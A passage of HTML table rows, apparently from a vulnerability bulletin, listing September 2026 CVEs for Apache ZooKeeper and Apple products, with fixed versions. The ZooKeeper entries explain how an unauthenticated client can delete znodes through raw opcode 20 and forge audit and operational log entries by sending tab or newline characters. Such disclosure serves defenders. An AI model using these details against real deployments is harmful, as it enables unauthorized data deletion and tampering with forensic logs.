&lt;td&gt;Apache ZooKeeper quorum TLS fails to enforce peer hostname verification in FIPS-mode deployments. When sslQuorum=true, zookeeper.fips-mode=true, ssl.quorum.hostnameVerification=true, and ssl.quorum.clientHostnameVerification=true&amp;nbsp;are enabled, the Java SSLSocket&amp;nbsp;quorum path accepts a CA-trusted peer certificate whose SAN does not match the connected host. A malicious or misissued peer certificate can therefore join quorum traffic, participate in leader election, and enter replication flows. Users are recommended to upgrade to version 3.8.7 or 3.9.6, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59969&quot; target=&quot;_blank&quot;&gt;CVE-2026-59969&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache ZooKeeper&lt;/td&gt;
&lt;td&gt;The `deleteContainer` opcode (0x14/20) is processed without verifying the caller&#039;s ACL permissions, allowing any authenticated client to delete specific znodes in the data tree regardless of the ACL restrictions on the znode or its parent. This opcode is considered internal-only and the official client doesn&#039;t have API for it, but a&amp;nbsp;client that can open a plain TCP session on the ZooKeeper client port (2181 by default)&amp;nbsp;- with NO authentication and NO ACL permissions - can delete any&amp;nbsp;empty persistent znode (including regular persistent nodes, container&amp;nbsp;nodes, and TTL nodes) by issuing the raw protocol OpCode deleteContainer (20).&amp;nbsp;The deleteContainer request path completely skips both the session check and&amp;nbsp;the DELETE ACL check that are enforced by the regular delete (OpCode 2) path.&amp;nbsp;This is an authorization bypass / ACL enforcement bug. This issue affects Apache ZooKeeper: from 3.9.0 through 3.9.5, from 3.8.0 through 3.8.6. Users are recommended to upgrade to version 3.9.6 or 3.8.7, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79993&quot; target=&quot;_blank&quot;&gt;CVE-2026-79993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache ZooKeeper&lt;/td&gt;
&lt;td&gt;When audit logging is enabled (zookeeper.audit.enable=true), an unauthenticated attacker can inject arbitrary fields into Apache ZooKeeper&#039;s audit log by sending a digest authentication request with tab characters (\t) embedded in the username. Because the audit log uses tab-separated&amp;nbsp;key=value&amp;nbsp;format, the injected tabs are parsed as legitimate field separators, allowing the attacker to spoof audit results (e.g., injecting&amp;nbsp;result=success), forge operation types, and corrupt forensic evidence. A log injection vulnerability in Apache ZooKeeper allows a client that can call&amp;nbsp;setACL&amp;nbsp;to inject forged key-value fields into&amp;nbsp;zookeeper_audit.log. When audit logging is enabled, the server serializes attacker-controlled digest ACL ids into the&amp;nbsp;acl=&amp;nbsp;audit field without escaping tab characters. Because audit events are emitted as tab-separated&amp;nbsp;key=value&amp;nbsp;records, a crafted ACL id can make one successful&amp;nbsp;setAcl&amp;nbsp;event appear to contain forged fields such as&amp;nbsp;operation=delete&amp;nbsp;and&amp;nbsp;znode=/forged. This undermines the integrity of downstream audit parsing, alerting, and incident response. This issue affects Apache ZooKeeper: from 3.9.0 through 3.9.5, from 3.8.0 through 3.8.6. Users are recommended to upgrade to version 3.9.6 or 3.8.7, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84439&quot; target=&quot;_blank&quot;&gt;CVE-2026-84439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache ZooKeeper&lt;/td&gt;
&lt;td&gt;An unauthenticated attacker can inject arbitrary fake log lines into Apache ZooKeeper&#039;s operational log by sending a crafted add_auth(&quot;ensemble&quot;, ...) request containing newline characters (\n). When the ensemble name doesn&#039;t match, EnsembleAuthenticationProvider.handleAuthentication() logs the raw, unsanitized name via LOG.warn(). Because SLF4J&#039;s {} placeholder preserves embedded newlines, the attacker can forge complete log entries - with arbitrary timestamps, log levels, class names, and messages - that are visually indistinguishable from genuine ZooKeeper log output. This issue affects Apache ZooKeeper: from 3.9.0 through 3.9.5, from 3.8.0 through 3.8.6. Users are recommended to upgrade to version 3.8.7 or 3.9.6, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84501&quot; target=&quot;_blank&quot;&gt;CVE-2026-84501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--containerization&lt;/td&gt;
&lt;td&gt;A remote attacker who controls a container registry may be able to direct a client&#039;s token request to a host of the attacker&#039;s choice, and disclose the victim&#039;s registry credentials to that host. This vulnerability is addressed in containerization version 0.41.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65388&quot; target=&quot;_blank&quot;&gt;CVE-2026-65388&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authentication issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27. An app may be able to use the Sign In With Apple authentication flow to access the user&#039;s Apple Account.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20683&quot; target=&quot;_blank&quot;&gt;CVE-2026-20683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved memory handling. This issue is fixed in iOS 26.6.1 and iPadOS 26.6.1, macOS Sequoia 15.8, macOS Tahoe 26.6.2, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28935&quot; target=&quot;_blank&quot;&gt;CVE-2026-28935&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A privacy issue was addressed by moving sensitive data. This issue is fixed in iOS 26.6 and iPadOS 26.6. An app may be able to fingerprint the user.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28938&quot; target=&quot;_blank&quot;&gt;CVE-2026-28938&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A denial-of-service issue was addressed with improved validation. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10. A remote attacker may be able to cause a denial-of-service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28960&quot; target=&quot;_blank&quot;&gt;CVE-2026-28960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Processing a maliciously crafted file may lead to unexpected app termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28966&quot; target=&quot;_blank&quot;&gt;CVE-2026-28966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28968&quot; target=&quot;_blank&quot;&gt;CVE-2026-28968&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with improved data protection. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, watchOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43664&quot; target=&quot;_blank&quot;&gt;CVE-2026-43664&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authentication issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27. An attacker with physical access to an unlocked device may be able to view Wi-Fi passwords without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43674&quot; target=&quot;_blank&quot;&gt;CVE-2026-43674&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A use-after-free issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, macOS Golden Gate 27, macOS Sequoia 15.8. An app may be able to cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43684&quot; target=&quot;_blank&quot;&gt;CVE-2026-43684&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A use-after-free issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Connecting to a malicious NFS server may lead to kernel memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43686&quot; target=&quot;_blank&quot;&gt;CVE-2026-43686&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Connecting to a malicious NFS server may disclose kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43687&quot; target=&quot;_blank&quot;&gt;CVE-2026-43687&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A memory corruption issue was addressed with improved input validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27. Processing a maliciously crafted file may lead to unexpected app termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43688&quot; target=&quot;_blank&quot;&gt;CVE-2026-43688&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. A malicious app may be able to gain root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43689&quot; target=&quot;_blank&quot;&gt;CVE-2026-43689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43695&quot; target=&quot;_blank&quot;&gt;CVE-2026-43695&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved memory handling. This issue is fixed in iOS 26.6 and iPadOS 26.6, iOS 26.7 and iPadOS 26.7, macOS Sequoia 15.8, macOS Tahoe 26.6, macOS Tahoe 26.7, tvOS 26.6, watchOS 26.6. Processing a maliciously crafted video file may lead to unexpected app termination or corrupt process memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43702&quot; target=&quot;_blank&quot;&gt;CVE-2026-43702&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, watchOS 27. An app may be able to access motion data from headphones without user consent.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43737&quot; target=&quot;_blank&quot;&gt;CVE-2026-43737&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved checks. This issue is fixed in iOS 26.6 and iPadOS 26.6, macOS Tahoe 26.6, visionOS 26.6. An app may be able to access user-sensitive data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43762&quot; target=&quot;_blank&quot;&gt;CVE-2026-43762&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. An app may be able to modify a file it only had permission to read.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43785&quot; target=&quot;_blank&quot;&gt;CVE-2026-43785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A use-after-free issue was addressed with improved memory management. This issue is fixed in iOS 26.6 and iPadOS 26.6, macOS Tahoe 26.6, tvOS 26.6, watchOS 26.6. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43808&quot; target=&quot;_blank&quot;&gt;CVE-2026-43808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A memory corruption issue was addressed with improved bounds checking. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, macOS Golden Gate 27, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8. Processing a maliciously crafted image may lead to a denial-of-service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64714&quot; target=&quot;_blank&quot;&gt;CVE-2026-64714&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with improved state handling. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.6 and iPadOS 26.6, macOS Sequoia 15.7.8, macOS Tahoe 26.6, tvOS 26.6, visionOS 26.6, watchOS 26.6. An app may be able to cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64717&quot; target=&quot;_blank&quot;&gt;CVE-2026-64717&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in iOS 26.6.1 and iPadOS 26.6.1, macOS Sequoia 15.8, macOS Tahoe 26.6.2, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64736&quot; target=&quot;_blank&quot;&gt;CVE-2026-64736&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A memory corruption issue was addressed by removing the vulnerable code. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Processing a maliciously crafted image may lead to arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64752&quot; target=&quot;_blank&quot;&gt;CVE-2026-64752&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A path handling issue was addressed with improved validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access user-sensitive data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64756&quot; target=&quot;_blank&quot;&gt;CVE-2026-64756&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A privacy issue was addressed with improved handling of user preferences. This issue is fixed in iOS 27 and iPadOS 27. An app may be able to identify what other apps a user has installed.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64761&quot; target=&quot;_blank&quot;&gt;CVE-2026-64761&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Processing a maliciously crafted video file may lead to unexpected app termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65344&quot; target=&quot;_blank&quot;&gt;CVE-2026-65344&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access user-sensitive data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65345&quot; target=&quot;_blank&quot;&gt;CVE-2026-65345&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to modify protected parts of the file system.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65348&quot; target=&quot;_blank&quot;&gt;CVE-2026-65348&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 26.6.1 and iPadOS 26.6.1, macOS Tahoe 26.6.2, visionOS 26.6.1. A website may be able to determine a user&#039;s IP address with Private Relay turned on.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65352&quot; target=&quot;_blank&quot;&gt;CVE-2026-65352&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in iOS 26.6 and iPadOS 26.6, macOS Tahoe 26.6. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65353&quot; target=&quot;_blank&quot;&gt;CVE-2026-65353&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27. A malicious app may be able to break out of its sandbox.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65354&quot; target=&quot;_blank&quot;&gt;CVE-2026-65354&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.6.1 and iPadOS 26.6.1, macOS Tahoe 26.6.2, visionOS 26.6.1. A website may be able to determine a user&#039;s IP address with Private Relay turned on.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65355&quot; target=&quot;_blank&quot;&gt;CVE-2026-65355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved memory handling. This issue is fixed in iOS 26.6 and iPadOS 26.6, macOS Tahoe 26.6, tvOS 26.6, visionOS 26.6, watchOS 26.6. An app may be able to cause unexpected system termination or write kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65357&quot; target=&quot;_blank&quot;&gt;CVE-2026-65357&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with improved state handling. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65358&quot; target=&quot;_blank&quot;&gt;CVE-2026-65358&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A local user may be able to cause unexpected system termination or read kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
